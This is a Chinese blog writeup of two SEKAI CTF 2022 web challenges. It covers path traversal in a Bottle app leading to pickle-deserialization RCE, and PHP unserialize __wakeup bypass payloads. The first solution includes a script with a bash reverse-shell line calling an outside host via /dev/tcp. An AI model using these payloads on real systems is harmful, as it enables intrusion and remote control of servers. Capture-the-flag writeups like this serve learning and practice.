SEKAI CTF 2022 writeup

第一次把 writeup 寫成 blog 文章,因為這場比賽的介面真的很可愛,身為一個 Project Sekai 玩家怎麼樣都覺得應該參與一下,又剛好遇到一個我覺得滿有趣的題目,本來覺得比賽期間不太可能解出來了,結果後來幸運解出來了,最後共解了兩題簡單題,就記錄一下,題目到現在都還在,如果有更新會再補上來。

Bottle Poem

http://bottle-poem.ctf.sekai.team 146/852 solve

這題畫面長這樣,畫面中間有一些 link,點選 link 可以連到類似這樣的網址 http://bottle-poem.ctf.sekai.team/show?id=spring.txt 拿到那個詩的 txt 檔案呈現在畫面上。

這個 /show?id= 感覺有可能可以讀檔,而直接用 id=/etc/passwd 也確實可以拿到檔案,到處看看之後可以發現

  • 如果沒有這個檔案會顯示 No This Poems
  • id=/proc/self/cmdline 顯示 python3
  • id=../app.py 顯示 No!!!!

到這裡可以推測他可能用類似 Flask 這樣的 python 網頁框架跑的,所以會想試著看看能不能拿到一些 Flask 可能會有的 source code,雖然用 ../app.py 會得到 No!!!!,但其實用 id=/app/app.py 是可以拿到 source 的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from bottle import route, run, template, request, response, error
from config.secret import sekai
import os
import re


@route("/")
def home():
return template("index")


@route("/show")
def index():
response.content_type = "text/plain; charset=UTF-8"
param = request.query.id
if re.search("^../app", param):
return "No!!!!"
requested_path = os.path.join(os.getcwd() + "/poems", param)
try:
with open(requested_path) as f:
tfile = f.read()
except Exception as e:
return "No This Poems"
return tfile


@error(404)
def error404(error):
return template("error")


@route("/sign")
def index():
try:
session = request.get_cookie("name", secret=sekai)
if not session or session["name"] == "guest":
session = {"name": "guest"}
response.set_cookie("name", session, secret=sekai)
return template("guest", name=session["name"])
if session["name"] == "admin":
return template("admin", name=session["name"])
except:
return "pls no hax"


if __name__ == "__main__":
os.chdir(os.path.dirname(__file__))
run(host="0.0.0.0", port=8080)

這樣就知道為什麼剛剛 ../app.py 會出現 No!!!! 了,到這邊我的想法是覺得會不會是需要用 admin 登入呢?要用 admin 登入其實也很簡單,因為他就是單純的看 cookie 裡面的 “name” 值而已,只需要從 id=/app/config/secret.py 拿到 secret,簽出一個 session["name"] == "admin" 的 cookie 就可以了,但事情當然沒那麼簡單,拿著 admin cookie 去 /sign 頁面也只會得到這樣的頁面。

而在做這個嘗試之前,其實用個 id=/app/views/admin.html 就可以知道這是無用工了 (雖然也沒多少工),懷疑了一下這個題目到底是要我們做什麼的時候,想起了這個 cookie 的格式好像是 json 的樣子?那會不會又跟 unserialize 有關係了?果然查了一陣子看到這篇 Python Web框架会话管理:从LFR到RCE (找到的是翻譯的,但我找不到原文…如果有找到我再補上),裡面正好有講到這個 bottle 框架,翻一下 source 以後看到在他的 get_cookie 的地方有用到 pickle.loads 對這個 cookie 做事了!那答案就很明顯了,要用 unpickle RCE 吧!

最後簡單的從 source 改產出 cookie 的腳本,然後準備收 reverse shell,這題的 flag 需要執行一個在根目錄的執行檔印出來,就這樣。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from bottle import route, run, template, request, response, error
import os
import pickle

class Nyan(object):
def __reduce__(self):
s = "bash -c 'bash -i >& /dev/tcp/<ip>/<port> 0>&1'"
return (os.system, (s,))

@route("/sign")
def index():
data = pickle.dumps(Nyan())
session = {"name": data}
response.set_cookie("name", Nyan(), secret="Se3333KKKKKKAAAAIIIIILLLLovVVVVV3333YYYYoooouuu")
return "finish"

Sekai Game Start

http://sekai-game-start.ctf.sekai.team 63/852 solve

這題就是 php 題目,直接秀 source code 給我們,總之就要傳一個 serialize 字串給他,很明顯要給的是 Sekai_Game 的序列化字串,然後在走到 Sekai_Game 的 __destruct$start 要是 true 就可以拿到 flag 了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
include('./flag.php');
class Sekai_Game{
public $start = True;
public function __destruct(){
if($this->start === True){
echo "Sekai Game Start Here is your flag ".getenv('FLAG');
}
}
public function __wakeup(){
$this->start=False;
}
}
if(isset($_GET['sekai_game.run'])){
unserialize($_GET['sekai_game.run']);
}else{
highlight_file(__FILE__);
}

?>

這題的考點有兩個

  • 怎麼傳 “sekai_game.run” 這個參數
  • 繞過 __wakeup function

第一點是個問題的原因是,在傳 GET 參數給 php 的時候,. 會自動被轉成底線,變成不管怎麼傳都沒辦法傳正確的參數進去,這個參數基本上也算是不太合法的參數,不過跳下去看這個版本 (php 7.4.5) 的 php source code 以後,可以在 main/php_variables.c 看到一段他做這些轉換的部分,然後會發現當你傳進了 [ 這個字的時候,php 會覺得他是 array 然後做後續關於 array 的檢查,但是如果他找不到閉合的 ],他就會把這個 [ 轉成 _ 然後停下來,然後重點!他就什麼都不做了,包括繼續對後面的字檢查也不做了,所以當我們傳 sekai[game.run,他最終就會轉成我們要的 sekai_game.run 了。

HexRabbit 一開始看錯版本,這個部分已經被修掉了所以一直沒找到這個解法,但也因此知道他後來有被改掉了XD

第二個問題就是要怎麼繞過 __wakeup 了,我們 Sekai_Gamestart 要是 true,就一定不能走進 __wakeup,這部分我查到了 PHP Bug #81151 bypass __wakeup,他的 Object 在序列化字串中用了 “C” 而不是 “O”,在 bug report 中那個人是這樣說

In my understand, “C:” means a class implements Serializable, and it don’t suport __wakeup.

我不確定他說得對不對,他也不確定,但這樣造 payload 他確實成功了 (php8 不行),於是最後的解法。

1
?sekai[game.run=C:10:"Sekai_Game":0:{}

而如果在這裡對 Sekai_Game 多給一些參數設定又會正常執行 __wakeup,類似這樣

1
C:10:"Sekai_Game":1:{s:5:"start";b:1;}

然後如果!加上我們古時候拿來繞過 __wakeup 的方法 (CVE-2016-7124, PHP5 < 5.6.25/PHP7 < 7.0.10),又可以 bypass 了。

1
C:10:"Sekai_Game":16:{s:5:"start";b:1;}

我也搞不懂了,不過反正就是這樣,這題就是奇技淫巧二連發,解不出來的時候真的滿撞牆的,因為心裡也滿清楚他一定是考什麼奇技淫巧XD,但是我又真的很想知道解法忍不了到比賽結束就到處問人,不過還好在結束前還是自己解出來了,不過看完這兩題就沒什麼心力繼續看別的題目了,耐心和耐力真的有限,希望可以慢慢進步。


SEKAI CTF 2022 writeup
https://wiiwu959.github.io/2022/10/13/2022-10-03-SEKAI-CTF-2022/
Author
Wii Wu
Posted on
October 13, 2022
Licensed under